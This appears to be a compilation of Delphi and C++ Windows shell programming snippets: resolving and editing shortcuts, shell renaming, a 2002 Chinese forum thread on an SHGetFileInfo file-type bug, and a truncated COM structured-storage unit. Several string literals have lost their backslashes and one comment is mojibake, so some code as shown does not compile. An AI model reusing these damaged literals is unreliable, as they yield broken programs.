hr:hresult;

psl:IShelllink;

wfd:win32_find_data;

ppf:IPersistFile;

lpw:pwidechar;

buf:pwidechar;

begin

result:=false;

getmem(buf,MAX_PATH);

try

if SUCCEEDED(CoInitialize(nil)) then

if (succeeded(cocreateinstance(clsid_shelllink,nil,clsctx_inproc_server,IID_IShellLinkA,psl))) then

begin

hr:=psl.QueryInterface(iPersistFile,ppf);

if succeeded(hr) then

begin

lpw:=stringtowidechar(lnkfilename,buf,MAX_PATH);

hr := ppf.Load(lpw, STGM_READ);

if succeeded(hr) then

begin

hr := psl.Resolve(0, SLR_NO_UI);

if succeeded(hr) then

begin

if bSet then

begin

psl.SetArguments(info.Arguments);

psl.SetDescription(info.Description);

psl.SetHotkey(info.HotKey);

psl.SetIconLocation(info.IconLocation,info.IconIndex);

psl.SetIDList(info.ItemIDList);

psl.SetPath(info.FileName);

psl.SetShowCmd(info.ShowState);

psl.SetRelativePath(info.RelativePath,0);

psl.SetWorkingDirectory(info.WorkDirectory);

if succeeded(psl.Resolve(0,SLR_UPDATE)) then

result:=true;

end

else

begin

psl.GetPath(info.FileName,MAX_PATH, wfd,SLGP_SHORTPATH );

psl.GetIconLocation(info.IconLocation,MAX_PATH,info.IconIndex);

psl.GetWorkingDirectory(info.WorkDirectory,MAX_PATH);

psl.GetDescription(info.Description,CCH_MAXNAME);

psl.GetArguments(info.Arguments,MAX_PATH);

psl.GetHotkey(info.HotKey);

psl.GetIDList(info.ItemIDList);

psl.GetShowCmd(info.ShowState);

result:=true;

end;

end;

end;

end;

end;

finally

freemem(buf);

end;

end;

//*******************调用*****************

showmessage('FileName:'+info.filename+#13+'Description:'+info.Description+#13+'IconFilename:'+info.IconLocation+','+inttostr(info.IconIndex)+

#13+'WordDir:'+info.WorkDirectory+#13+'Arguments:'+info.Arguments+#13+'ShorCuts:'+shortcuttotext(s));

info.WorkDirectory:='D:';

linkfileinfo(opendialog1.filename,info,true);

end;

end;

==============================================

function GetLinkFileName(sLinkFileName: string; var sTargetFileName: string): boolean;

var

psl: IShellLink;

ppf: IPersistFile;

hres, nLen: integer;

pfd: TWin32FindData;

pTargetFile: PChar;

pwLinkFileName: PWideChar;

begin

Result := false;

if SUCCEEDED(CoInitialize(nil)) then

begin

CoCreateInstance(CLSID_ShellLink, nil, CLSCTX_INPROC_SERVER, IID_IShellLinkA, psl);

if (SUCCEEDED(hres)) then

begin

hres := psl.QueryInterface(IID_IPersistFile, ppf);

if (SUCCEEDED(hres)) then

begin

nLen := MultiByteToWideChar(CP_ACP, 0, PChar(sLinkFileName), -1, pwLinkFileName, 0);

GetMem(pwLinkFileName, nLen);

ZeroMemory(pwLinkFileName, nLen);

MultiByteToWideChar(CP_ACP, 0, PChar(sLinkFileName), -1, pwLinkFileName, nLen);

ppf.Load(pwLinkFileName, STGM_READ);

GetMem(pTargetFile, MAX_PATH);

ZeroMemory(pTargetFile, MAX_PATH);

hres := psl.GetPath(pTargetFile, MAX_PATH, pfd, SLGP_UNCPRIORITY );

if (SUCCEEDED(hres)) then

begin

sTargetFileName := StrPas(pTargetFile);

Result := true;

end;

FreeMem(pTargetFile);

FreeMem(pwLinkFileName);

end;

end;

end;

end;

///////////////////////////////////////////////////////////

IShellLink::Resolve

IShellLink::GetIconLocation

IShellLink::GetPath

IShellLink::GetWorkingDirectory

下面是 VC 代码（我不会 DELPHI，我想转换过去应当容易）：

BOOL CLinkTestDlg::ResolveLink(HWND hwnd, LPCTSTR lpszLinkFile, LPTSTR lpszPath)

{

USES_CONVERSION;

HRESULT hr;

IShellLink *psl;

TCHAR szGotPath[MAX_PATH];

TCHAR szDescription[MAX_PATH];

WIN32_FIND_DATA wfd;

*lpszPath = 0; // assume failure

// Get a pointer to the IShellLink interface.

hr = CoCreateInstance(CLSID_ShellLink, NULL,

CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID *) &psl);

if (SUCCEEDED(hr))

{

IPersistFile *ppf;

// Get a pointer to the IPersistFile interface.

hr = psl->QueryInterface(IID_IPersistFile, (void **)&ppf);

if (SUCCEEDED(hr))

{

LPWSTR lpw;

// Ensure that the string is Unicode.

lpw = T2W(lpszLinkFile);

// Load the shortcut.

hr = ppf->Load(lpw, STGM_READ);

if (SUCCEEDED(hr))

{

// Resolve the link.

hr = psl->Resolve(hwnd, SLR_NO_UI);

if (SUCCEEDED(hr))

{

// Get the path to the link target.

hr = psl->GetPath(szGotPath,

MAX_PATH, (WIN32_FIND_DATA *)&wfd,

SLGP_SHORTPATH );

if (FAILED(hr))

;

// Get the description of the target.

hr = psl->GetDescription(szDescription, MAX_PATH);

if (FAILED(hr))

;

lstrcpy(lpszPath, szGotPath);

}

}

// Release the pointer to the IPersistFile interface.

ppf->Release();

}

// Release the pointer to the IShellLink interface.

psl->Release();

}

return hr;

}

====================================


执行快捷方式
shellexecute(handle,'open','start.exe','c:\windows\desktop\aaa.lnk','',sw_hide);


用外壳扩展改文件名
procedure TForm1.Button1Click(Sender: TObject);

var

P : PWideChar;

NewPIDL, RenPIDL, PathPIDL: PItemIDList;

Flags,NumChars : LongWord;

//Index: Integer;

NewShellFolder : IShellFolder;

Value, PathValue : string;

begin

SHGetDesktopFolder(FIDesktopFolder);

Value := 'hubdog.txt';

PathValue := 'C:\';

NumChars := Length(PathValue);

Flags := 0;

P := StringToOleStr(PathValue);

OLECheck(FIDesktopFolder.ParseDisplayName(Application.Handle,nil,P,NumChars,PathPIDL,Flags));

OLECheck(FIDesktopFolder.BindToObject(PathPIDL,nil,IID_IShellFolder,Pointer(NewShellFolder)));

NumChars := Length(Value);

Flags := 0;

P := StringToOleStr(Value);

OLECheck(NewShellFolder.ParseDisplayName( Application.Handle,nil,P,NumChars,NewPIDL,Flags));

if NewShellFolder.SetNameOf(Application.Handle,NewPIDL,StringToOleStr('newhubdog.txt'),128, RenPIDL) = noerror then

showmessage('ok');

//SHChangeNotify(SHCNE_RENAMEITEM,SHCNF_FLUSH,NewPIDL,nil);

end;


how to pop up shell menu
how to pop up shell menu

Take a look at the interface IContextMenu. Here are the steps you need

to do:

- Get such an interface from a shell folder by calling

IShellFolder.GetUIObjectOf().

- Create a menu handle (use Windows.CreateMenu)

- Call IContextMenu.QueryContextMenu() passing the menu handle you

created so that the object populates the windows menu with all items.

- Use TrackPopupMenu() or TrackPopupMenuEx() to display the menu.

Specify the flag TPM_RETURNCMD so that the function returns the

command id of the item the user selected (typecast the result of

TrackPopupMenu to a DWORD).

- Use IContextMenu.InvokeCommand() to invoke the selected command id

on the shell object.


关于Windows2000的Bug和文件类型
关于Windows2000的Bug和文件类型

来自：HD_Copy, 时间：2002-5-19 18:59:00, ID：1110450 [显示：小字体 | 大字体]

在Windows资源管理器右边的文件列表中，所显示的每个文件都有“类型”这一项，如果是系统能够识别的

文件，如：CONFIG.SYS，则类型中显示“系统文件”；如果是系统不可识别的文件，如：CONFIG.XYZ，则

类型中显示“XYZ文件”。

我想通过程序将一个目录下的所有文件的“文件类型”在ListBox控件中列出来，我是这样做的，新建一

工程，在Form上分别放置ListBox1、Button1、Button2这三个控件，下面分别是Delphi和C++Builder的

实现代码：（代码很少，也很简单）

Delphi代码：

//====================================================================================

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls ,ShellAPI , FileCtrl;

type

TForm1 = class(TForm)

ListBox1: TListBox;

Button1: TButton;

Button2: TButton;

procedure Button2Click(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

procedure SearchFiles(CurrentPath : AnsiString);

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.SearchFiles(CurrentPath : AnsiString);

var

sr : TSearchRec;

FileInfo : TSHFileInfo;

iFound : Integer;

begin

iFound := FindFirst(CurrentPath + '*.*', faAnyFile, sr);

while iFound=0 do

begin

if (sr.Attr<>faDirectory)and(sr.Name<>'.')and(sr.Name<>'..') then

begin

SHGetFileInfo(PChar(CurrentPath+sr.Name), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME);

ListBox1.Items.Add(FileInfo.szTypeName);

end;

iFound := FindNext(sr);

end;

FindClose(sr);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

ListBox1.Items.Clear;

SearchFiles('C:);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

SelectPath : AnsiString;

begin

SelectPath := '';

if SelectDirectory('请您选择分类库所对应的路径：', '', SelectPath) then

begin

if Length(SelectPath) <> 3 then

SelectPath := SelectPath + ';

ListBox1.Items.Clear;

SearchFiles(SelectPath);

end;

end;

end.

//=====================================================================================

好，下面怪问题就来了，运行程序，如果你先点击Button1，也就是通过选择路径的方式，没有任何问题，

接下来，不论你在单击Button1还是Button2，都没问题（我说的没问题是指能在ListBox中正确显示包

括那些不可识别的文件在内的所有文件的文件类型）

但是反过来，在程序刚运行后，你先单击了Button2，也就是通过直接传递路径参数的方式，那些不可

识别的文件的文件类型就显示不出来了，然后，你无论是再按那个按钮，都不能正确的显示了

再说得明白一点，就是在程序运行后，你先单击Button1，就没问题；先单击Button2，不可识别的文件

类型就显示成空，这是多么奇怪的事啊！！哪位大侠帮我解释一下原因，并给出解决方法（必有重谢！！）

来自：aimingoo, 时间：2002-5-24 14:16:00, ID：1121501

HDCopy, 我用了很长的时间来查找(而不是分析)代码，哈哈，因为我认为应该不是你的程序

的问题。现在算是有些眉目了。

首先，我将Button1.onClick中调用的SelectDirectory()从FileCtrl.pas中提取出来，然后

将其中无用(不造成影响)的代码逐行清除。最后，我得到了这样的一个过程：

procedure SelectDirectory;

var

BrowseInfo: TBrowseInfo;

begin

FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);

ShBrowseForFolder(BrowseInfo);

end;

接下来，我只要在Button2.onClick中调用一下这个过程，而不管操作中选择"确定"或者

"取消"，Button2中的SearchFiles('C:')调用的结果都是正常的。

而ShBrowseForFolder的实现在ShlObj.pas中就只有一行：

function SHBrowseForFolder; external shell32 name 'SHBrowseForFolderA';

于是，我开始认定这不是一般的程序/流程错误，可能是OS有关。

所以，接下来的工作我就是开始查Google了。

我找到了这样的一份文档：

http://www.dcjournal.com/gooey/sysimage.htm

从它的下载包中，我找到了一个可执行程序，用来实现HDCopy要的功能，这个下载包在：

http://www.dcjournal.com/ftp/gooey/sysimage.zip

然而，我在Windows 2K中运行这个DEMO，我发现与HDCopy出现了完全同样的错误，接下

来，我又在vmWare的虚拟Windows 98中测试，发现一切又正常了。参见下面这两个图：

http://aiming.ynxx.com/myUpload/Test_Win98.jpg

http://aiming.ynxx.com/myUpload/Test_Win2K.jpg

哈哈，我想我不需要再解释，至少原因已经找到了，这个Windows OS版本间的Shell32.DLL

不兼容导致的。

就目前而言，只能分析到这儿，下面我去查查MSDN的新版本，在Windows 2000的Shell32.DLL

说明中应该有相关的内容。

HDCopy可以自己查查，我手边没有新版的MSDN，我只能查MSDN Online。:(

来自：chji, 时间：2002-5-24 20:13:00, ID：1122292

没问题！

你的系统有问题吧！入安全模式再运行程序试试

来自：skyweb, 时间：2002-5-25 11:11:00, ID：1123083

微软的知识库(Q236376)中提到，在NT4和Windows 2000上，ShGetFileInfoA调用

ShGetFileInfoW，但是在把ShFileInfoA结构转换到ShFileInfoW结构时没能正确

地把dwAttributes转换过去，dwAttributes是一个未初始化的值。稍微联想一下，

可能在某个特定情况下，文件类型说明也没能正确转换过去（谁知道呢？：）。

微软提出的解决办法是直接调用ShGetFileInfoW。试一下吧，还不行的话只好简

单地绕过这个问题了：）。

微软的知识库文章(Q236376)地址：

http://support.microsoft.com/default.aspx?scid=kb;en-us;Q236376

来自：OopsWare, 时间：2002-6-22 9:50:00, ID：1176786

to all: 终于解决了！有兴趣的话看看下面的代码，

to Hd_copy:

你可以不再使用FindFirst取文件了，试试下面的完全的Shell编程方式。

我也说不太清原因，直接获得文件的PItemIDList并不能得到特殊文件的类型说明

而绕个弯路，先取其所在路径，用路径的PItemIDList枚举出文件的PItemIDList

就没有问题！？

implementation

uses

FileCtrl, ShellAPI, ActiveX, ShlObj, ComObj;

{$R *.DFM}

var

ShellMalloc: IMalloc;

DesktopFolder: IShellFolder;

CS : TRTLCriticalSection;

FileInfo: TSHFileInfo;

function NextPIDL(PIDL: PItemIDList): PItemIDList;

begin

Result := PIDL;

Inc(PChar(Result), PIDL^.mkid.cb);

end;

function GetPIDLSize(PIDL: PItemIDList): Integer;

begin

Result := 0;

if Assigned(PIDL) then begin

Result := SizeOf(PIDL^.mkid.cb);

while PIDL^.mkid.cb <> 0 do begin

Result := Result + PIDL^.mkid.cb;

PIDL := NextPIDL(PIDL);

end;

end;

end;

function CreatePIDL(Size: Integer): PItemIDList;

begin

try

Result := nil;

Result := ShellMalloc.Alloc(Size);

if Assigned(Result) then FillChar(Result^, Size, 0);

finally

end;

end;

procedure FreePIDL(PIDL: PItemIDList);

begin

if PIDL <> nil then ShellMalloc.Free(PIDL);

end;

function ConcatPIDLs(PIDL1, PIDL2: PItemIDList): PItemIDList;

var cb1, cb2: Integer;

begin

if Assigned(PIDL1) then cb1 := GetPIDLSize(PIDL1) - SizeOf(PIDL1^.mkid.cb) else cb1 := 0;

cb2 := GetPIDLSize(PIDL2);

Result := CreatePIDL(cb1 + cb2);

if Assigned(Result) then begin

if Assigned(PIDL1) then CopyMemory(PChar(Result), PIDL1, cb1);

CopyMemory(PChar(Result) + cb1, PIDL2, cb2);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

PIDL, RelativePIDL, NewPIDL: PItemIDList;

Eaten, Attributes: Cardinal;

path: string;

P: PWideChar;

ShellFolder: IShellFolder;

EnumIDList: IEnumIDList;

NumIDs: Cardinal;

begin

// 设置要显示的路径,取其 PItemIDList

path := 'C:and SettingsDocuments_Tmp';

Eaten := Length(path);

P := StringToOleStr(path);

Attributes := 0;

OLECheck(DesktopFolder.ParseDisplayName(Application.Handle, nil, P, Eaten, PIDL, Attributes));

// 根据 PItemIDList 得到 IShellFolder

// 可以直接取文件的PIDL，但是存在与以前一样的现象，现在取其目录

DesktopFolder.BindToObject(PIDL, nil, IID_IShellFolder, Pointer(ShellFolder));

// 枚举目录下的文件到 EnumIDList

ShellFolder.EnumObjects(Application.Handle, SHCONTF_NONFOLDERS, EnumIDList);

NewPIDL := nil;

while EnumIDList.Next(1, RelativePIDL, NumIDs) = S_OK do

try

// 将列出的文件PIDL与目录合并得到文件的 PItemIDList

NewPIDL := ConcatPIDLs(PIDL, RelativePIDL);

// 根据合并出的完整文件PItemIDList取文件名和属性！

FillChar(FileInfo, SizeOf(FileInfo), 0);

SHGetFileInfo(PChar(NewPIDL), 0, FileInfo, SizeOf(FileInfo), SHGFI_PIDL or SHGFI_DISPLAYNAME or SHGFI_TYPENAME);

ListBox1.Items.Add( FileInfo.szDisplayName + ' - ' + FileInfo.szTypeName );

finally

FreePIDL(NewPIDL);

FreePIDL(RelativePIDL);

end;

end;

initialization

OLECheck(SHGetDesktopFolder(DesktopFolder));

InitializeCriticalSection(CS);

OleInitialize(nil);

OLECheck(ShGetMalloc(ShellMalloc));

finalization

DesktopFolder := nil;

ShellMalloc := nil;

OleUninitialize;

DeleteCriticalSection(CS);

end.

来自：HD_Copy, 时间：2002-6-23 5:40:00, ID：1177792

to OopsWare：

老大，你们的项目完工了吗？多谢你能在百忙当中还抽时间多次关注我的问题！

不过，你的解答还不能令我满意！你的代码和Delphi自带的VirtualListView例子基本上差不多，只不

过它是显示某个目录时需要遍历一下，而你这里显示某个具体文件也要遍历一下。

其实，你应该对我这个问题的细节和要求很清楚啊，我们在MSN上讨论过的呀，这里，应该对其他朋友

说声对不起了，因为我在这个帖子中没有把一些更深的细节说出来。实际上，我是要在ListView控件中显

示硬盘中的文件，就象资源管理器右边的文件列表一模一样。有时，要显示某个目录下的所有文件；有时，

要显示从数据库中搜索出来的一些文件（这些文件可能分布在硬盘不同的分区、不同的目录中，有点象Win2000

下资源管理器中的“搜索”，但又有所不同，资源管理器搜索特定的文件，肯定需要遍历目录；而我这里

并不需要，因为我从数据库中取出的文件的全路径和文件名都是已知的了）。

所以说，OopsWare上面的代码也仅仅是个变通的方法，我们姑且称为[变通方法一]。而我目前使用的

方法是下面的代码：

/* --- 取文件类型 --- */

TempStr = FileInfo.szTypeName;

if( TempStr.Length() == 0 ) //如果是系统不可识别的文件类型

{

TempStr = ExtractFileExt( FileWholeName );

if( TempStr.Length() == 0 ) //如果文件没有扩展名，则......

GetItem(i)->strType = "文件";

else

GetItem(i)->strType = UpperCase(TempStr.Delete(1,1)) + " 文件";

}

else

GetItem(i)->strType = TempStr;

我们也姑且称之为[变通方法二]，这样，我就要考虑一下到底[变通方法一]和[变通方法二]哪个效率高呀？

我觉得还是[变通方法二]要高一些。其实，还有另外一种变通的方法，姑且称之为[变通方法三]，就是在

调用SHGetFileInfo之前，不管是执行SelectDirectory()也好、还是SHBrowseForFolder也罢、或者是别的

什么，只要不在屏幕上显示出来，而且不会造成系统混乱、或其他什么不良的后果，只是让它初始化一下，

然后就不管它了，我觉得这种变通的方法倒是可以接受，其实，好像OopsWare也曾经说过的。当然，最好

还是有人知道怎样从根本上进行初始化。

我现在希望：

1. 有人能给出[变通方法三]。

2. 哪位英语好的朋友将我这个问题翻译过来，在诸如www.experts-exchange.com这样的地方问一下，那种

地方的高手深不可测，应该会有人能解答出来。

3. 有人能给出根本的解决方法。

在没解决之前，我目前用的方法就是我自己的[变通方法二]

再次感谢OopsWare！！

来自：OopsWare, 时间：2002-6-23 9:31:00, ID：1177867

to HD-copy:

用你的方法多次遍历一个目录的时间是一定的，而我的方法遍历一个目录第一次的

效率与你的差不多，但多次使用的速度就很快，因为IMalloc已经将这些信息记入了

Shell管理的区域。用FindFirst,FindNext可以取道文件系统的所有物理文件，但

我的方法还可以取道所有的名字空间(如网上邻居...)。

我的这段代码应该是适合所有版本的Win32的，Windows捆绑IE4以后Shell就完全是

COM了，应该更多的使用COM的思想去处理Shell操作。所谓的初始化的那段操作也就是

我代码中的 ShellFolder.EnumObjects(Application.Handle, SHCONTF_NONFOLDERS, EnumIDList);

测试一下这段代码：

function MrsGetFileType(const strFilename: string): string;

var

FileInfo: TSHFileInfo;

begin

FillChar(FileInfo, SizeOf(FileInfo), #0);

SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME);

Result := FileInfo.szTypeName;

end;

procedure TForm1.Button3Click(Sender: TObject);

var

DesktopFolder: IShellFolder;

EnumIDList: IEnumIDList;

begin

OLECheck(SHGetDesktopFolder(DesktopFolder));

DesktopFolder.EnumObjects(Application.Handle, SHCONTF_NONFOLDERS, EnumIDList);

Caption := MrsGetFileType('C:and SettingsDocuments_Tmp.CPI')

end;

也就证实了SelectDir所初始化的内容。

Shell使用的内存是由 IMalloc 统一管理的。也许是为了节省内存的存储空间，多数

重复的内容在他管理下，仅保留一个副本，直接取得文件的PIDL应该可以获得文件的

全部属性。但是这时win2k可能忘记了将文件的说明信息存入IMalloc的共享内存

区域。换一个思路，去取文件所在目录的PIDL,再枚举目录下的所有文件，就得到了所

需要的信息。也就是说，ShBrowseForFolder(BrowseInfo);也同样使用了枚举文件的

用法，从而将文件的说明信息存入了IMalloc的管理区域。也就就像前面李颖的的贴子

中提到的“初始化了一些信息”。这应该是windows的shell编程的正常用法(我的代码多数

借见了Delphi的ShellCtrls.pas,这在D6好像只有.dcu,请到Borland的CodeCenter下载源

程序，使用D5的用户只能想其他的方法了，例如ShellPack的控件)。

你说的[变通方法三]代码如下：

var

DesktopFolder: IShellFolder;

EnumIDList: IEnumIDList;

initialization

OLECheck(SHGetDesktopFolder(DesktopFolder));

DesktopFolder.EnumObjects(Application.Handle, SHCONTF_NONFOLDERS, EnumIDList);

OleInitialize(nil);

finalization

DesktopFolder := nil;

OleUninitialize;

end.

其实我前一贴的大宗代码是希望你完全将 Shell 编程的思想，用在你的程序中。

来自：HD_Copy, 时间：2002-6-23 15:34:00, ID：1178276

to OopsWare：

哈哈哈，:D :D :D I love you , baby , mum,mum,mum,mum,mum......

说句急功近利的话，当我看到你这个帖子中在OLECheck(SHGetDesktopFolder(DesktopFolder));的后面

马上马上马上马上马上就用了EnumObjects()！！我的眼睛都发亮光了！！我的天啊，问题出在这里呀！这

就是初始化啊！！5~~~~~~~~~~~~~~ 看来，我对Shell编程还知道的不够全面，不够深刻，先前也仅仅是

模仿啊！5~~~~~~~~~~~

不过，

>>用你的方法多次遍历一个目录的时间是一定的，而我的方法遍历一个目录第一次的

>>效率与你的差不多，但多次使用的速度就很快，因为IMalloc已经将这些信息记入了

>>Shell管理的区域。

我并不这么认为。就是说，在实现我上面所说的“要显示从数据库中搜索出来的一些文件”时，你的

这种仍然需要遍历的方法，总觉得...... 因为你不能仅仅这样说“IMalloc已经将这些信息记入了Shell管

理的区域。”，其实，我们都知道Windows的其它操作也都是利用缓存技术的，用我的方法在执行第二遍时

也比第一遍快的。由于在已知文件的全路径名时，通过Shell编程是不能直接取得这个文件的PIDL的，所以，

要用Shell编程，也只能遍历。

但我现在又想问一个很基本的问题了，就是Windows系统是怎样定位一个已知全路径名的文件呢？如果也是

在后台用了遍历，那我就彻底向你“投降”，改用Shell编程了 :P

至此，这个问题基本解决了，非常感谢OopsWare！！！

请OopsWare到http://www.delphibbs.com/delphibbs/dispq.asp?lid=1178271来拿300分！！


STG File存取
按如下方式使用：

var

stgFile:TStgFile;

stream:TStgStream;

storage:TStorage;

begin

try

stgFile := TStgFile.CreateFile( ... );

storage := stgFile.CreateStorage( ... );

...

stream := storage.CreateStream( ... );

...

except

...

end;

end;

************************************************************

STG File存取

// (c) Alex Konshin mailto:alexk@msmt.spb.su 02.12.97

{ HISTROY:

2002-1-8 down from www.torry.net

2002-1-9 Fix some error;

Add commit function to TStorage.

}

{

$Date: 2002/01/10 00:53:37 $

$Author: zhangjun $

$Revision: 1.1 $

}

unit Storages;

interface

uses

SysUtils, Windows, Classes, Forms, ActiveX;

const

stgmOpenReadWrite = {STGM_TRANSACTED or} STGM_READWRITE or STGM_SHARE_DENY_WRITE;

stgmOpenRead = {STGM_TRANSACTED or} STGM_READ or STGM_SHARE_EXCLUSIVE;

stgmCreate = { STGM_TRANSACTED or} STGM_CREATE or STGM_READWRITE or STGM_SHARE_EXCLUSIVE;

stgmConvert = {STGM_TRANSACTED or} STGM_READWRITE or STGM_SHARE_EXCLUSIVE or STGM_CONVERT;

type

TStorage = class;

TStgStream = class(TStream)

protected

FStream : IStream;

FStorage : TStorage;

FName, FPath : String;

procedure SetSize( NewSize : Longint ); override;

procedure SetName( Value : String); virtual;

constructor Create( const AName : String; AStorage : TStorage; AStream : IStream );

public

function Read( var Buffer; Count : Longint ) : Longint; override;

function Write( const Buffer; Count : Longint ) : Longint; override;

function Seek( Offset : Longint; Origin : Word ) : Longint; override;

destructor Destroy; override;

published

property Name : String read FName write SetName;

end; { TStgStream }

TStorage = class

protected

FStorage : IStorage;

FName, FPath : String;

FParent : TStorage;

FLockCount : LongInt;

procedure SetName( Value : String); virtual;

constructor Create( const AName : String; AParent : TStorage; AStorage : IStorage );

public

destructor Destroy; override; // 眢骓?桉镱朦珙忄螯 Close !

procedure Close;

function CreateStream( const AName : String; const Mode : DWord ) : TStgStream;

function OpenStream( const AName : String; const Mode : DWord ) : TStgStream;

function OpenCreateStream( const AName : String; const Mode : DWord ) : TStgStream;

function CreateStorage( const AName : String; const Mode : DWord ) : TStorage;

function OpenStorage( const AName : String; const Mode : DWord ) : TStorage;

function OpenCreateStorage( const AName : String; const Mode : DWord; var bCreate : Boolean ) : TStorage;

procedure RenameElement( const AOldName, ANewName : String );

// STGTY_STORAGE = 1,

// STGTY_STREAM = 2,

// STGTY_LOCKBYTES = 3,

// STGTY_PROPERTY = 4

procedure EnumElements( AStrings : TStringList ; dwTypeNeed:DWORD);

procedure Commit(cFlag:DWORD);

published

property Storage : IStorage read FStorage;

property Name : String read FName write SetName;

property Path : String read FPath;

end; { TStorage }

TStgFile = class(TStorage)

protected

FFileName : String;

constructor Create( const AFileName : String; AStorage : IStorage );

public

class function CreateFile( const AFileName : String; const Mode : DWord ) : TStgFile;

class function OpenFile( const AFileName : String; const Mode : DWord ) : TStgFile;

// function Clone( const Mode : DWord ) : TStgFile;

end; { TStgFile }

{function ModeToStgMode( const Mode : Word ) : DWORD;

// fmCreate Create a file with the given name. If a file with the given name exists, open the file in write mode.

// fmOpenRead Open the file for reading only.

// fmOpenWrite Open the file for writing only. Writing to the file completely replaces the current contents.

// fmOpenReadWrite Open the file to modify the current contents rather than replace them.

//

// fmShareCompat Sharing is compatible with the way FCBs are opened.

// fmShareExclusive Other applications can not open the file for any reason.

// fmShareDenyWrite Other applications can open the file for reading but not for writing.

// fmShareDenyRead Other applications can open the file for writing but not for reading.

// fmShareDenyNone No attempt is made to prevent other applications from reading from or writing to the file.

function OpenStream( const APath : String; const Mode : Word ) : TStream; // Open plain file or IStream as TStream

function OpenStorage( const APath : String; const Mode : Word ) : TStorage;

}

//=============================================================

implementation

uses ComObj;

//=============================================================

// fmCreate = $ffff;

// fmOpenRead = $0000;

// fmOpenWrite = $0001;

// fmOpenReadWrite = $0002;

// fmShareCompat = $0000;

// fmShareExclusive = $0010;

// fmShareDenyWrite = $0020;

// fmShareDenyRead = $0030;

// fmShareDenyNone = $0040;

function ModeToStgMode( const Mode : Word ) : DWORD;

const

RWModes : Array [0..3] of DWord = (STGM_READ,STGM_WRITE,STGM_READWRITE,0);

ShareModes : Array [0..7] of DWord =

( STGM_SHARE_EXCLUSIVE,STGM_SHARE_EXCLUSIVE,STGM_SHARE_DENY_WRITE,STGM_SHARE_DENY_READ,

STGM_SHARE_DENY_NONE,STGM_SHARE_EXCLUSIVE,STGM_SHARE_EXCLUSIVE,STGM_SHARE_EXCLUSIVE);

begin

if Mode=fmCreate then Result := stgmCreate

else Result := RWModes[Mode and 3] or ShareModes[Mode shr 4];

end;

//-------------------------------------------------------------

{function GetName( var ptr : PChar; var len : Integer ) : String;

const Delimitors : String = '/#0;

var i : Integer;

begin

Result := '';

i := QScanChars( ptr, len, Delimitors );

if i>0 then

begin

Dec(i);

if i=0 then Exit;

Result := Copy(ptr,1,i);

Inc(ptr,i);

Dec(len,i)

end

else

begin

Result := Copy(ptr,1,len);

ptr := nil;

len := 0;

end;

end;}

//==TStgStream===========================================================

constructor TStgStream.Create( const AName : String; AStorage : TStorage; AStream : IStream );

begin

inherited Create;

FStream := AStream;

FStorage := AStorage;

if AStorage<>nil then

begin

FPath := AStorage.FPath+AStorage.FName+';

Inc(AStorage.FLockCount);

end;

FName := AName;

end; {TStgStream.Create}

//-------------------------------------------------------------

destructor TStgStream.Destroy;

begin

{ if FStream<>nil then

begin

FStream._Release;

FStream := nil;

end;}

if FStorage<>nil then FStorage.Close;

inherited Destroy;

end; {TStgStream.Destroy}

//-------------------------------------------------------------

function TStgStream.Read( var Buffer; Count : Longint ) : Longint;

begin

Result := 0;

if FStream<>nil then OleCheck( FStream.Read( @Buffer, Count, @Result ) );

end; {TStgStream.Read}

//-------------------------------------------------------------

function TStgStream.Write( const Buffer; Count : Longint ) : Longint;

begin

Result := 0;

if FStream<>nil then OleCheck( FStream.Write( @Buffer, Count, @Result ) );

end; {TStgStream.Write}

//-------------------------------------------------------------

function TStgStream.Seek( Offset : Longint; Origin : Word ) : Longint;

var NewPos : LargeInt;

begin

Result := 0;

if FStream=nil then Exit;

OleCheck( FStream.Seek( Offset, Origin, NewPos ) );

Result := LongInt(NewPos);

end; {TStgStream.Seek}

//-------------------------------------------------------------

procedure TStgStream.SetSize( NewSize : Longint );

begin

if FStream=nil then Exit;

OleCheck( FStream.SetSize(NewSize) );

end; {TStgStream.SetSize}

//-------------------------------------------------------------

procedure TStgStream.SetName( Value : String );

begin

if FName=Value then Exit;

if FStorage<>nil then FStorage.RenameElement(FName,Value);

FName := Value;

end; {TStgStream.SetName}

//==TStorage===========================================================

constructor TStorage.Create( const AName : String; AParent : TStorage; AStorage : IStorage );

begin

inherited Create;

FStorage := AStorage;

FName := AName;

FParent := AParent;

if AParent<>nil then

begin

FPath := AParent.FPath+AParent.FName+';

Inc(AParent.FLockCount);

end;

end; {TStorage.Create}

//-------------------------------------------------------------

destructor TStorage.Destroy;

begin

{ if FStorage<>nil then

begin

FStorage._Release;

FStorage := nil;

end;}

if FParent<>nil then FParent.Close;

inherited Destroy;

end; {TStorage.Destroy}

//-------------------------------------------------------------

procedure TStorage.Close;

begin

if FLockCount>0 then Dec(FLockCount) else Destroy;

end; {TStorage.Destroy}

//-------------------------------------------------------------

function TStorage.CreateStream( const AName : String; const Mode : DWord ) : TStgStream;

var pw : PWideChar;

rc : HResult;

newStream : IStream;

begin

Result := nil;

if (FStorage=nil)or(AName='') then Exit;

pw := StringToOleStr(AName);

try

rc := FStorage.CreateStream( pw, Mode, 0, 0, newStream );

if rc<>S_OK then OleError(rc);

finally

SysFreeString(pw);

end;

if newStream=nil then Exit;

Result := TStgStream.Create( AName, Self, newStream );

end; {TStorage.CreateStream}

//-------------------------------------------------------------

function TStorage.OpenStream( const AName : String; const Mode : DWord ) : TStgStream;

var pw : PWideChar;

rc : HResult;

newStream : IStream;

begin

Result := nil;

if (FStorage=nil)or(AName='') then Exit;

pw := StringToOleStr(AName);

try

rc := FStorage.OpenStream( pw, nil, Mode, 0, newStream );

if rc<>S_OK then OleError(rc);

finally

SysFreeString(pw);

end;

if newStream=nil then Exit;

Result := TStgStream.Create( AName, Self, newStream );

end; {TStorage.CreateStream}

//-------------------------------------------------------------

function TStorage.OpenCreateStream( const AName : String; const Mode : DWord ) : TStgStream;

var pw : PWideChar;

rc : HResult;

newStream : IStream;

begin

Result := nil;

